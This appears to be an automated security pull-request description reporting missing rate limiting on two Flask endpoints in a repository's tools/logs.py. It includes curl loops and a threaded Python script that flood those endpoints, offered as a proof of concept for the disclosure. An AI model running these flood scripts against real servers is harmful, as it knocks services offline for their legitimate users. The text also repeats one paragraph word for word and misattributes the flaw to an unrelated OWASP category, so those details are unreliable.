[Security] Fix HIGH vulnerability: V-003

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Medium	In the context of the cai repository, which appears to be a multi-agent AI tool for robotics, exploiting the lack of rate limiting on the / and /pypi-stats endpoints could lead to denial of service by overwhelming the Flask server with requests, potentially disrupting logging or statistics gathering functionalities critical for monitoring AI agents or system performance. This could cause temporary unavailability of logs or stats, affecting operational insights in a robotics deployment, but does not enable data breaches or system compromise.
Likelihood	Low	The repository is an open-source project likely used for development or educational purposes in robotics and AI, with endpoints exposed only if the Flask app is publicly deployed, which may not be the default or common scenario. Attackers would need to discover and target the specific instance, and motivation is low given the niche context and lack of sensitive data exposure, making exploitation unlikely without insider knowledge or targeted attacks.
Ease of Fix	Easy	Remediation involves adding rate limiting using a Flask extension like Flask-Limiter, which requires installing a dependency and applying decorators to the endpoints, a straightforward code modification with minimal risk of breaking changes and no need for extensive refactoring or testing beyond verifying the limits work as intended.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The Flask application in tools/logs.py of the cai repository exposes unprotected API endpoints (/ and /pypi-stats) that serve logging data and PyPI statistics without rate limiting. An attacker can exploit this by sending a high volume of concurrent requests to these endpoints, overwhelming the server's resources and causing a denial-of-service (DoS). This is particularly feasible if the application is deployed as a web service (e.g., via Docker or a cloud instance), as seen in the repository's setup scripts, allowing remote attackers to target it over the network.

The Flask application in tools/logs.py of the cai repository exposes unprotected API endpoints (/ and /pypi-stats) that serve logging data and PyPI statistics without rate limiting. An attacker can exploit this by sending a high volume of concurrent requests to these endpoints, overwhelming the server's resources and causing a denial-of-service (DoS). This is particularly feasible if the application is deployed as a web service (e.g., via Docker or a cloud instance), as seen in the repository's setup scripts, allowing remote attackers to target it over the network.

# Assuming the Flask app is running on localhost:5000 (default Flask port; adjust if deployed differently, e.g., via Docker port mapping)
# Use a simple loop with curl to flood the / endpoint repeatedly
# This can be run from any machine with network access to the target server

for i in {1..10000}; do
  curl -s http://localhost:5000/ > /dev/null &
done

# Similarly for /pypi-stats endpoint
for i in {1..10000}; do
  curl -s http://localhost:5000/pypi-stats > /dev/null &
done

# More sophisticated PoC using Python's requests library for concurrent flooding
# Install requests if needed: pip install requests
# This script sends 1000 concurrent requests to both endpoints, adjustable for higher volume

import requests
import threading
import time

def flood_endpoint(url, num_requests=1000):
    for _ in range(num_requests):
        try:
            response = requests.get(url)
            print(f"Request to {url}: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

# Target URLs based on the repository's Flask app (adjust host/port as per deployment)
base_url = "http://localhost:5000"  # Change to actual exposed URL if remote
threads = []

# Flood / endpoint
for _ in range(10):  # 10 threads, each sending 100 requests = 1000 total
    t = threading.Thread(target=flood_endpoint, args=(f"{base_url}/", 100))
    threads.append(t)
    t.start()

# Flood /pypi-stats endpoint
for _ in range(10):
    t = threading.Thread(target=flood_endpoint, args=(f"{base_url}/pypi-stats", 100))
    threads.append(t)
    t.start()

# Wait for threads to complete
for t in threads:
    t.join()

print("Flooding complete. Check server resource usage (e.g., via top or htop).")

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	None	The endpoints serve only logging data and PyPI statistics (e.g., package download counts), which are not sensitive or confidential; no user credentials, API keys, or personal data are exposed in this repository's context.
System Compromise	Low	No direct system access is gained; the attack only exhausts resources, potentially allowing secondary exploitation if combined with other vulnerabilities (e.g., in the underlying Flask framework), but it does not enable code execution or privilege escalation on its own.
Operational Impact	High	Unlimited requests can exhaust CPU, memory, and bandwidth, leading to complete service unavailability for legitimate users. In a CI/CD or AI tool context like cai, this could disrupt log analysis or stats retrieval, halting dependent workflows and requiring server restarts or scaling adjustments.
Compliance Risk	Medium	Violates OWASP Top 10 A6:2021 (Vulnerable and Outdated Components) by lacking rate limiting, potentially failing security audits for web applications. If cai is used in regulated environments (e.g., enterprise CI/CD), it could impact uptime SLAs or standards like ISO 27001, though no direct data privacy regulations (e.g., GDPR) are triggered due to lack of sensitive data handling.

Vulnerability Details

• Rule ID: V-003
• File: tools/logs.py
• Description: The Flask application defined in tools/logs.py exposes two API endpoints (/ and /pypi-stats) without any form of rate limiting. This allows any single client to send an unlimited number of requests, consuming server resources.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• tools/logs.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.